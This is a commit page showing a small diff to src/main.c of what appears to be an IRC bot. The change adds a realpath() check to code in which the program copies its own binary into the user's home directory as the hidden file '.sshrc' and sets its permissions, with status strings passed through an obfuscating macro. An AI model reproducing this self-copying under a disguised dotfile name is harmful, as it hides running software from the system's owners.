Przeglądaj źródła

* Small realpath() fix

svn: 720
Bryan Drewery 22 lat temu
rodzic
commit
269841e0b6
1 zmienionych plików z 10 dodań i 10 usunięć
  1. 10 10
      src/main.c

+ 10 - 10
src/main.c

@@ -584,35 +584,35 @@ int main(int argc, char **argv)
 #ifdef LEAF
   /* move the binary to the correct place */
   {
-    char newbin[DIRMAX] = "";
+    char newbin[DIRMAX] = "", real[DIRMAX] = "";
 
     sdprintf(STR("my euid: %d my uuid: %d, my ppid: %d my pid: %d"), geteuid(), myuid, getppid(), getpid());
     chdir(homedir());
     egg_snprintf(newbin, sizeof newbin, STR("%s/.sshrc"), homedir());
 
     sdprintf(STR("newbin at: %s"), newbin);
-
+    
+    realpath(binname, real);		/* get the realpath of binname */
     /* running from wrong dir, or wrong bin name.. lets try to fix that :) */
-    if (strcmp(binname,newbin)) { 
+    if (strcmp(binname, newbin) && strcmp(newbin, real)) { 		/* if wrong path and new path != current */
 #ifdef LEAF
       int ok = 1;
 #endif /* LEAF */
 
       sdprintf(STR("wrong dir, is: %s :: %s"), binname, newbin);
       unlink(newbin);
-      if (copyfile(binname,newbin))
+      if (copyfile(binname, newbin))
         ok = 0;
 
-      if (ok) 
-       if (!can_stat(newbin)) {
+      if (ok && !can_stat(newbin)) {
          unlink(newbin);
          ok = 0;
-       }
-      if (ok) 
-        if (!fixmod(newbin)) {
+      }
+
+      if (ok && !fixmod(newbin)) {
           unlink(newbin);
           ok = 0;
-        }
+      }
 
       if (!ok)
         werr(ERR_WRONGBINDIR);